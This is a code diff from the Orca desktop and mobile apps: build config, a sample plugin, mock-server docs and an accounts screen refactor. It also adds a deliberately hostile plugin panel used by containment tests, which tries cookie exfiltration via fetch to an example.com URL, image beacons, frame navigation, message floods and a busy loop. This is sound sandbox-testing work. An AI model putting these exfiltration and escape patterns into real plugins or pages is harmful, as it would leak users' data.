@@ -241,17 +268,26 @@ export default defineConfig({
|
||||
format: 'es'
|
||||
},
|
||||
build: {
|
||||
manifest: true,
|
||||
modulePreload: { polyfill: true },
|
||||
target: 'es2020',
|
||||
// Why: the pop-out dashboard is a second top-level window with its own
|
||||
// React root. It gets its own HTML entry so it can boot independently of
|
||||
// the main window while reusing the same preload/window.api. `index` must
|
||||
// stay listed — overriding input otherwise drops electron-vite's default
|
||||
// renderer entry.
|
||||
rollupOptions: {
|
||||
// Why: shared chunks must never import an HTML entry whose module mounts
|
||||
// a different React root.
|
||||
preserveEntrySignatures: 'strict',
|
||||
input: {
|
||||
index: resolve('src/renderer/index.html'),
|
||||
popout: resolve('src/renderer/popout.html')
|
||||
popout: resolve('src/renderer/popout.html'),
|
||||
web: resolve('src/renderer/web-index.html')
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
export default defineConfig(electronViteConfig)
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
|
||||
// worker (plain Node, no Electron), forked lazily on the first trigger. The
|
||||
// default export receives the `orca` API: command registration, event
|
||||
// handlers, and the capability-gated host API.
|
||||
export default function activate(orca) {
|
||||
orca.commands.register('hello-ping', async (args) => {
|
||||
const stored = await orca.host.call('storage.get', { key: 'pings' })
|
||||
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
|
||||
await orca.host.call('storage.set', { key: 'pings', value: count })
|
||||
return { pong: true, count, args: args ?? null }
|
||||
})
|
||||
|
||||
orca.events.on('worktree.created', async (payload) => {
|
||||
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
|
||||
await orca.host.call('notifications.show', {
|
||||
title: 'Worktree created',
|
||||
body: payload.path
|
||||
})
|
||||
})
|
||||
|
||||
orca.events.on('agent.status.changed', (payload) => {
|
||||
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hello-orca",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hello Orca",
|
||||
"version": "1.0.0",
|
||||
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"main": "main.mjs",
|
||||
"contributes": {
|
||||
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
|
||||
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
|
||||
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
|
||||
},
|
||||
"capabilities": [
|
||||
{ "kind": "workspace:read" },
|
||||
{ "kind": "terminal:send" },
|
||||
{ "kind": "notifications:show" },
|
||||
{ "kind": "storage" },
|
||||
{ "kind": "events:subscribe" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<style>
|
||||
/* The host injects Orca design tokens as CSS custom properties, so
|
||||
panels can match the app without any access to it. */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 12px;
|
||||
font-family: system-ui, sans-serif;
|
||||
font-size: 13px;
|
||||
color: var(--foreground, #ddd);
|
||||
background: var(--background, transparent);
|
||||
}
|
||||
h1 {
|
||||
font-size: 14px;
|
||||
margin: 0 0 8px;
|
||||
}
|
||||
button {
|
||||
display: block;
|
||||
margin: 6px 0;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--border, #555);
|
||||
border-radius: 6px;
|
||||
background: var(--secondary, #2a2a2a);
|
||||
color: var(--foreground, #ddd);
|
||||
cursor: pointer;
|
||||
font: inherit;
|
||||
}
|
||||
select {
|
||||
margin: 6px 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
.status {
|
||||
margin-top: 10px;
|
||||
min-height: 1.4em;
|
||||
color: var(--muted-foreground, #999);
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello Orca 👋</h1>
|
||||
<p>Panel + worker command + events, gated by consent.</p>
|
||||
<button id="ctx">Read workspace context</button>
|
||||
<select id="terms" hidden></select>
|
||||
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
|
||||
<button id="notify">Show a notification</button>
|
||||
<p class="status" id="status"></p>
|
||||
<script>
|
||||
'use strict'
|
||||
var seq = 0
|
||||
var pending = {}
|
||||
var statusEl = document.getElementById('status')
|
||||
var termsEl = document.getElementById('terms')
|
||||
|
||||
function call(action, params) {
|
||||
return new Promise(function (resolve) {
|
||||
var requestId = 'req-' + ++seq
|
||||
pending[requestId] = resolve
|
||||
// The panel frame is an opaque origin, so '*' is the only usable
|
||||
// targetOrigin; the host verifies the sending window instead.
|
||||
window.parent.postMessage(
|
||||
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
|
||||
'*'
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (!data || data.type !== 'orca-panel-action-result') return
|
||||
var resolve = pending[data.requestId]
|
||||
if (!resolve) return
|
||||
delete pending[data.requestId]
|
||||
resolve(data)
|
||||
})
|
||||
|
||||
document.getElementById('ctx').addEventListener('click', function () {
|
||||
call('workspace.readContext').then(function (result) {
|
||||
if (!result.ok) {
|
||||
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
|
||||
return
|
||||
}
|
||||
if (!result.value) {
|
||||
statusEl.textContent = 'no focused worktree'
|
||||
return
|
||||
}
|
||||
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
|
||||
termsEl.innerHTML = ''
|
||||
result.value.terminals.forEach(function (terminal) {
|
||||
var option = document.createElement('option')
|
||||
option.value = terminal.id
|
||||
option.textContent = terminal.id
|
||||
termsEl.appendChild(option)
|
||||
})
|
||||
termsEl.hidden = result.value.terminals.length === 0
|
||||
document.getElementById('send').hidden = result.value.terminals.length === 0
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('send').addEventListener('click', function () {
|
||||
// Explicit terminal id — the API has no "active terminal" target.
|
||||
call('terminal.sendText', {
|
||||
terminalId: termsEl.value,
|
||||
text: 'echo hi from plugin',
|
||||
enter: true
|
||||
}).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'typed (accepted=' + result.value.accepted + ')'
|
||||
: 'send failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('notify').addEventListener('click', function () {
|
||||
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'notification delivered=' + result.value.delivered
|
||||
: 'notify failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hostile-panel",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hostile Panel (security fixture)",
|
||||
"version": "1.0.0",
|
||||
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"panels": [
|
||||
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
|
||||
]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<!-- Security test fixture: every attempt below MUST be contained by the
|
||||
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
|
||||
probe reports pass/fail into the DOM so the containment run is
|
||||
directly observable in the panel. -->
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hostile panel fixture</h1>
|
||||
<ul id="results"></ul>
|
||||
<button id="bridge">Run bridge budget probes</button>
|
||||
<button id="navigate-top">Try top navigation</button>
|
||||
<button id="navigate-self">Try self navigation</button>
|
||||
<button id="navigate-anchor-form">Try anchor and form navigation</button>
|
||||
<button id="navigate-meta">Try meta refresh navigation</button>
|
||||
<button id="busy">Enter busy loop (watchdog probe)</button>
|
||||
<script>
|
||||
'use strict'
|
||||
// The main-process guard must bind the frame before plugin parsing.
|
||||
window.name = ''
|
||||
var results = document.getElementById('results')
|
||||
function report(name, contained, detail) {
|
||||
if (document.querySelector('[data-probe="' + name + '"]')) return
|
||||
var li = document.createElement('li')
|
||||
li.dataset.probe = name
|
||||
li.dataset.contained = contained ? 'true' : 'false'
|
||||
li.textContent =
|
||||
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
|
||||
results.appendChild(li)
|
||||
document.title = 'probes:' + results.children.length
|
||||
}
|
||||
|
||||
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
|
||||
var cookieValue = 'x'
|
||||
try {
|
||||
cookieValue = document.cookie || 'x'
|
||||
} catch (_) {
|
||||
// Opaque-origin frames may reject cookie access before CSP runs.
|
||||
}
|
||||
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
|
||||
.then(function () {
|
||||
report('fetch-exfil', false, 'request succeeded')
|
||||
})
|
||||
.catch(function () {
|
||||
report('fetch-exfil', true)
|
||||
})
|
||||
|
||||
// Probe 2: <img> beacon — must be blocked by img-src data: only.
|
||||
var img = new Image()
|
||||
var settled = false
|
||||
img.onload = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', false, 'image loaded')
|
||||
}
|
||||
}
|
||||
img.onerror = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true)
|
||||
}
|
||||
}
|
||||
img.src = 'https://example.com/beacon.gif'
|
||||
setTimeout(function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true, 'no load event')
|
||||
}
|
||||
}, 3000)
|
||||
|
||||
// Navigation probes are opt-in so a failed attempt cannot erase the
|
||||
// network and bridge evidence before the harness observes it.
|
||||
document.getElementById('navigate-top').addEventListener('click', function () {
|
||||
try {
|
||||
window.top.location.href = 'https://example.com/'
|
||||
setTimeout(function () {
|
||||
report('top-navigation', window.top !== window)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('top-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-self').addEventListener('click', function () {
|
||||
try {
|
||||
window.location.href = 'https://example.com/self-navigation'
|
||||
setTimeout(function () {
|
||||
report('self-navigation', true)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('self-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
|
||||
var anchor = document.createElement('a')
|
||||
anchor.href = 'https://example.com/anchor-navigation'
|
||||
anchor.textContent = 'Navigation probe'
|
||||
document.body.appendChild(anchor)
|
||||
anchor.click()
|
||||
|
||||
var form = document.createElement('form')
|
||||
form.action = 'https://example.com/form-navigation'
|
||||
document.body.appendChild(form)
|
||||
form.requestSubmit()
|
||||
setTimeout(function () {
|
||||
report('anchor-form-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
document.getElementById('navigate-meta').addEventListener('click', function () {
|
||||
var refresh = document.createElement('meta')
|
||||
refresh.httpEquiv = 'refresh'
|
||||
refresh.content = '0;url=https://example.com/meta-refresh'
|
||||
document.head.appendChild(refresh)
|
||||
setTimeout(function () {
|
||||
report('meta-refresh-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
// Probe 7: an oversized valid-looking call must receive a real refusal.
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
|
||||
return
|
||||
}
|
||||
if (data.requestId === 'oversized-probe') {
|
||||
report(
|
||||
'oversized-message',
|
||||
!data.ok && data.errorCode === 'invalid_request',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
if (data.requestId === 'flood-result') {
|
||||
report(
|
||||
'message-flood',
|
||||
!data.ok && data.errorCode === 'rate_limited',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('bridge').addEventListener('click', function () {
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'oversized-probe',
|
||||
action: 'workspace.readContext',
|
||||
params: { padding: 'x'.repeat(128 * 1024) }
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('oversized-message', false, 'host sent no refusal')
|
||||
}, 2000)
|
||||
|
||||
// Probe 8: invalid, pong, and binary floods must all spend rate budget
|
||||
// before parsing; the final valid call is the observable oracle.
|
||||
setTimeout(function () {
|
||||
for (var i = 0; i < 40; i++) {
|
||||
var payload =
|
||||
i % 3 === 0
|
||||
? { type: 'orca-panel-pong', pingId: i }
|
||||
: i % 3 === 1
|
||||
? { type: 'invalid-hostile-message', sequence: i }
|
||||
: new Uint8Array(2048)
|
||||
window.parent.postMessage(payload, '*')
|
||||
}
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'flood-result',
|
||||
action: 'workspace.readContext',
|
||||
params: {}
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('message-flood', false, 'host sent no rate-limit refusal')
|
||||
}, 2000)
|
||||
}, 150)
|
||||
})
|
||||
|
||||
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
|
||||
// Chromium keeps the sandboxed frame in its isolated renderer process.
|
||||
function enterBusyLoop() {
|
||||
report('busy-loop', true, 'watchdog should suspend this panel')
|
||||
while (true) {
|
||||
// Deliberately hostile fixture.
|
||||
}
|
||||
}
|
||||
document.getElementById('busy').addEventListener('click', enterBusyLoop)
|
||||
window.addEventListener('message', function (event) {
|
||||
if (
|
||||
event.source === window.parent &&
|
||||
event.data &&
|
||||
event.data.type === 'orca-hostile-busy-probe'
|
||||
) {
|
||||
enterBusyLoop()
|
||||
}
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -181,6 +181,19 @@ pnpm mock-server # starts mock WebSocket server on port 6768
|
||||
|
||||
Connect from the app using endpoint `ws://localhost:6768` and token `mock-device-token`.
|
||||
|
||||
### Environment variables
|
||||
|
||||
- `MOCK_NATIVE_CHAT=1` — serve the native-chat scenario (one live agent tab, empty transcript, image upload) instead of the default terminal fixtures.
|
||||
- `MOCK_SERVER_KEY_FILE` — persist the server keypair across restarts so a paired device keeps its public-key pin. A missing or invalid file is re-keyed with a warning, which forces a re-pair.
|
||||
|
||||
### Scenario control files
|
||||
|
||||
Read on every request, so behaviour can be flipped mid-session without a restart (a restart would re-key E2EE and force a re-pair). Write the mode into the file, or delete it for the default.
|
||||
|
||||
- `MOCK_SEND_MODE_FILE` (default `orca-mock-send-mode` in the system temporary directory) — `accept` (default) accepts the send, `error` fails it with `mobile_input_floor_unavailable`, anything else reports the send as rejected.
|
||||
- `MOCK_TERMINAL_LIST_MODE_FILE` (default `orca-mock-terminal-list-mode` in the system temporary directory) — `omit` returns an empty terminal list, `other` returns a list that omits the chat handle, anything else lists it.
|
||||
- `MOCK_TERMINAL_STREAM_MODE_FILE` (default `orca-mock-terminal-stream-mode` in the system temporary directory) — `dead` answers a subscribe with `subscribed` then `end` (a gone PTY), which is what exercises the rearm bound and terminal prune; anything else streams normally.
|
||||
|
||||
## Connecting to Real Orca
|
||||
|
||||
1. Start Orca desktop with WebSocket transport enabled
|
||||
|
||||
+3
-3
@@ -2,7 +2,7 @@
|
||||
"expo": {
|
||||
"name": "Orca",
|
||||
"slug": "orca-mobile",
|
||||
"version": "0.0.32",
|
||||
"version": "0.0.36",
|
||||
"orientation": "default",
|
||||
"icon": "./assets/icon.png",
|
||||
"userInterfaceStyle": "automatic",
|
||||
@@ -18,7 +18,7 @@
|
||||
"bundleIdentifier": "com.stably.orca.mobile",
|
||||
"buildNumber": "1",
|
||||
"infoPlist": {
|
||||
"NSLocalNetworkUsageDescription": "Orca connects to the desktop app on your local network.",
|
||||
"NSLocalNetworkUsageDescription": "Orca connects to the desktop app on your LAN.",
|
||||
"NSMicrophoneUsageDescription": "Allow Orca to record voice dictation and transcribe it on your paired desktop.",
|
||||
"NSPhotoLibraryUsageDescription": "Allow Orca to attach photos from your library to a terminal session on your paired desktop.",
|
||||
"NSAppTransportSecurity": {
|
||||
@@ -75,7 +75,7 @@
|
||||
"allowBackup": false,
|
||||
"permissions": ["RECORD_AUDIO", "MODIFY_AUDIO_SETTINGS"],
|
||||
"package": "com.stably.orca.mobile",
|
||||
"versionCode": 8
|
||||
"versionCode": 9
|
||||
},
|
||||
"plugins": [
|
||||
"expo-router",
|
||||
|
||||
@@ -9,17 +9,18 @@ import {
|
||||
Alert
|
||||
} from 'react-native'
|
||||
import { SafeAreaView, useSafeAreaInsets } from 'react-native-safe-area-context'
|
||||
import { useLocalSearchParams, useRouter } from 'expo-router'
|
||||
import { useFocusEffect, useLocalSearchParams, useRouter } from 'expo-router'
|
||||
import { ChevronLeft, Check, RefreshCw, User } from 'lucide-react-native'
|
||||
import { loadHosts } from '../../../src/transport/host-store'
|
||||
import { useHostClient } from '../../../src/transport/client-context'
|
||||
import type { RpcSuccess } from '../../../src/transport/types'
|
||||
import { colors, spacing } from '../../../src/theme/mobile-theme'
|
||||
import { styles } from './accounts-screen-styles'
|
||||
import { useNow } from '../../../src/hooks/use-now'
|
||||
import { ClaudeIcon, OpenAIIcon } from '../../../src/components/AgentIcons'
|
||||
import {
|
||||
type AccountsSnapshot,
|
||||
type ProviderKey,
|
||||
decodeAccountsSnapshot,
|
||||
getActiveProviderRateLimits,
|
||||
getInactiveProviderUsage,
|
||||
getUsageBarState,
|
||||
@@ -27,6 +28,12 @@ import {
|
||||
hasActiveProviderUsage,
|
||||
UsageBar
|
||||
} from '../../../src/components/AccountUsage'
|
||||
import {
|
||||
getActiveCodexAccountIdForRateLimitTarget,
|
||||
getCodexResetCreditSummary
|
||||
} from '../../../src/components/codex-reset-credit'
|
||||
import { CodexResetCreditAction } from '../../../src/components/CodexResetCreditAction'
|
||||
import { useCodexResetCreditAction } from '../../../src/components/use-codex-reset-credit-action'
|
||||
|
||||
export default function AccountsScreen() {
|
||||
const router = useRouter()
|
||||
@@ -40,14 +47,41 @@ export default function AccountsScreen() {
|
||||
const [error, setError] = useState<string | null>(null)
|
||||
const [refreshing, setRefreshing] = useState(false)
|
||||
const [busyAccountId, setBusyAccountId] = useState<string | null>(null)
|
||||
const [clockEnabled, setClockEnabled] = useState(false)
|
||||
|
||||
// Why: the reset countdown must stay fresh while the screen sits open —
|
||||
// snapshot pushes only arrive when the desktop's rate-limit poll completes.
|
||||
const [now, setNow] = useState(() => Date.now())
|
||||
useEffect(() => {
|
||||
const id = setInterval(() => setNow(Date.now()), 60_000)
|
||||
return () => clearInterval(id)
|
||||
const acceptSnapshot = useCallback((nextSnapshot: AccountsSnapshot) => {
|
||||
setSnapshot(nextSnapshot)
|
||||
setError(null)
|
||||
}, [])
|
||||
const rejectInvalidSnapshot = useCallback(() => {
|
||||
// Why: a stale snapshot can expose a finite reset action for the wrong
|
||||
// account; fail closed if a host sends a shape this mobile cannot prove.
|
||||
setSnapshot(null)
|
||||
setError('Invalid accounts snapshot from host')
|
||||
}, [])
|
||||
const {
|
||||
supported: codexResetSupported,
|
||||
resetting: resettingCodex,
|
||||
resetScope,
|
||||
scopeLabel: resetScopeLabel,
|
||||
confirmReset: confirmCodexReset
|
||||
} = useCodexResetCreditAction({
|
||||
client,
|
||||
connected: connState === 'connected',
|
||||
hostId,
|
||||
snapshot,
|
||||
accountMutationBusy: busyAccountId !== null,
|
||||
onSnapshot: acceptSnapshot
|
||||
})
|
||||
|
||||
useFocusEffect(
|
||||
useCallback(() => {
|
||||
setClockEnabled(true)
|
||||
return () => setClockEnabled(false)
|
||||
}, [])
|
||||
)
|
||||
// Why: snapshot pushes only arrive when the desktop's rate-limit poll completes.
|
||||
const now = useNow(60_000, clockEnabled)
|
||||
|
||||
useEffect(() => {
|
||||
if (!hostId) {
|
||||
@@ -82,14 +116,17 @@ export default function AccountsScreen() {
|
||||
if (!payload || typeof payload !== 'object') {
|
||||
return
|
||||
}
|
||||
const evt = payload as { type?: string; snapshot?: AccountsSnapshot }
|
||||
if ((evt.type === 'ready' || evt.type === 'snapshot') && evt.snapshot) {
|
||||
setSnapshot(evt.snapshot)
|
||||
setError(null)
|
||||
const evt = payload as { type?: string; snapshot?: unknown }
|
||||
if (evt.type === 'ready' || evt.type === 'snapshot') {
|
||||
try {
|
||||
acceptSnapshot(decodeAccountsSnapshot(evt.snapshot))
|
||||
} catch {
|
||||
rejectInvalidSnapshot()
|
||||
}
|
||||
}
|
||||
})
|
||||
return unsubscribe
|
||||
}, [client, connState])
|
||||
}, [acceptSnapshot, client, connState, rejectInvalidSnapshot])
|
||||
|
||||
const refresh = useCallback(async () => {
|
||||
if (!client) {
|
||||
@@ -99,27 +136,43 @@ export default function AccountsScreen() {
|
||||
try {
|
||||
const res = await client.sendRequest('accounts.list')
|
||||
if (res.ok) {
|
||||
setSnapshot((res as RpcSuccess).result as AccountsSnapshot)
|
||||
setError(null)
|
||||
acceptSnapshot(decodeAccountsSnapshot(res.result))
|
||||
} else {
|
||||
setError(res.error.message)
|
||||
}
|
||||
} catch (e) {
|
||||
setError(e instanceof Error ? e.message : String(e))
|
||||
if (e instanceof Error && e.message === 'Invalid accounts snapshot from host') {
|
||||
rejectInvalidSnapshot()
|
||||
} else {
|
||||
setError(e instanceof Error ? e.message : String(e))
|
||||
}
|
||||
} finally {
|
||||
setRefreshing(false)
|
||||
}
|
||||
}, [client])
|
||||
}, [acceptSnapshot, client, rejectInvalidSnapshot])
|
||||
|
||||
const selectAccount = useCallback(
|
||||
async (provider: ProviderKey, accountId: string | null) => {
|
||||
if (!client) {
|
||||
return
|
||||
}
|
||||
const codexTarget = provider === 'codex' ? snapshot?.rateLimits.codexTarget : null
|
||||
if (provider === 'codex' && !codexTarget) {
|
||||
return
|
||||
}
|
||||
setBusyAccountId(accountId ?? `${provider}:default`)
|
||||
const method = provider === 'claude' ? 'accounts.selectClaude' : 'accounts.selectCodex'
|
||||
const method =
|
||||
provider === 'claude'
|
||||
? 'accounts.selectClaude'
|
||||
: codexTarget?.runtime === 'wsl'
|
||||
? 'accounts.selectCodexForTarget'
|
||||
: 'accounts.selectCodex'
|
||||
try {
|
||||
const res = await client.sendRequest(method, { accountId })
|
||||
// Why: old hosts silently strip unknown target fields. Use the distinct
|
||||
// targeted RPC for WSL so version skew fails before mutating host state.
|
||||
const params =
|
||||
codexTarget?.runtime === 'wsl' ? { accountId, target: codexTarget } : { accountId }
|
||||
const res = await client.sendRequest(method, params)
|
||||
if (!res.ok) {
|
||||
Alert.alert('Could not switch account', res.error.message)
|
||||
} else {
|
||||
@@ -134,7 +187,7 @@ export default function AccountsScreen() {
|
||||
setBusyAccountId(null)
|
||||
}
|
||||
},
|
||||
[client, refresh]
|
||||
[client, refresh, snapshot]
|
||||
)
|
||||
|
||||
const renderProviderSection = (provider: ProviderKey, title: string) => {
|
||||
@@ -142,9 +195,14 @@ export default function AccountsScreen() {
|
||||
return null
|
||||
}
|
||||
const state = provider === 'claude' ? snapshot.claude : snapshot.codex
|
||||
const activeAccountId =
|
||||
provider === 'codex' && snapshot.codex.activeAccountIdsByRuntime
|
||||
? getActiveCodexAccountIdForRateLimitTarget(snapshot)
|
||||
: state.activeAccountId
|
||||
const activeUsage = getActiveProviderRateLimits(snapshot, provider)
|
||||
const activeSessionBar = getUsageBarState(activeUsage, 'session')
|
||||
const activeWeeklyBar = getUsageBarState(activeUsage, 'weekly')
|
||||
const resetCredit = provider === 'codex' ? getCodexResetCreditSummary(activeUsage, now) : null
|
||||
const Icon = provider === 'claude' ? ClaudeIcon : OpenAIIcon
|
||||
return (
|
||||
<View style={styles.section}>
|
||||
@@ -157,7 +215,7 @@ export default function AccountsScreen() {
|
||||
<Pressable
|
||||
style={({ pressed }) => [styles.row, pressed && styles.rowPressed]}
|
||||
onPress={() => selectAccount(provider, null)}
|
||||
disabled={busyAccountId !== null || connState !== 'connected'}
|
||||
disabled={busyAccountId !== null || resettingCodex || connState !== 'connected'}
|
||||
>
|
||||
<View style={styles.rowMain}>
|
||||
<Text style={styles.rowTitle}>System default</Text>
|
||||
@@ -165,7 +223,7 @@ export default function AccountsScreen() {
|
||||
{/* Why: when system default is the active selection, activeUsage
|
||||
holds the system-default login's rate limits — surface them
|
||||
here so non-managed users still see their usage. */}
|
||||
{state.activeAccountId === null && hasActiveProviderUsage(activeUsage) ? (
|
||||
{activeAccountId === null && hasActiveProviderUsage(activeUsage) ? (
|
||||
<View style={styles.usageRow}>
|
||||
<UsageBar
|
||||
label="5h"
|
||||
@@ -185,7 +243,7 @@ export default function AccountsScreen() {
|
||||
) : null}
|
||||
</View>
|
||||
<View style={styles.rowTrailing}>
|
||||
{state.activeAccountId === null ? (
|
||||
{activeAccountId === null ? (
|
||||
<Check size={16} color={colors.accentBlue} />
|
||||
) : busyAccountId === `${provider}:default` ? (
|
||||
<ActivityIndicator size="small" color={colors.textSecondary} />
|
||||
@@ -194,7 +252,7 @@ export default function AccountsScreen() {
|
||||
</Pressable>
|
||||
|
||||
{state.accounts.map((account) => {
|
||||
const isActive = state.activeAccountId === account.id
|
||||
const isActive = activeAccountId === account.id
|
||||
const inactiveEntry = !isActive
|
||||
? getInactiveProviderUsage(snapshot, provider, account.id)
|
||||
: null
|
||||
@@ -210,7 +268,12 @@ export default function AccountsScreen() {
|
||||
<Pressable
|
||||
style={({ pressed }) => [styles.row, pressed && styles.rowPressed]}
|
||||
onPress={() => selectAccount(provider, account.id)}
|
||||
disabled={busyAccountId !== null || connState !== 'connected' || isActive}
|
||||
disabled={
|
||||
busyAccountId !== null ||
|
||||
resettingCodex ||
|
||||
connState !== 'connected' ||
|
||||
isActive
|
||||
}
|
||||
>
|
||||
<View style={styles.rowMain}>
|
||||
<Text style={styles.rowTitle} numberOfLines={1}>
|
||||
@@ -249,6 +312,15 @@ export default function AccountsScreen() {
|
||||
</View>
|
||||
)
|
||||
})}
|
||||
{resetCredit && codexResetSupported && resetScope && connState === 'connected' ? (
|
||||
<CodexResetCreditAction
|
||||
summary={resetCredit}
|
||||
scopeLabel={resetScopeLabel}
|
||||
busy={resettingCodex}
|
||||
disabled={resettingCodex || busyAccountId !== null || connState !== 'connected'}
|
||||
onPress={confirmCodexReset}
|
||||
/>
|
||||
) : null}
|
||||
</View>
|
||||
</View>
|
||||
)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user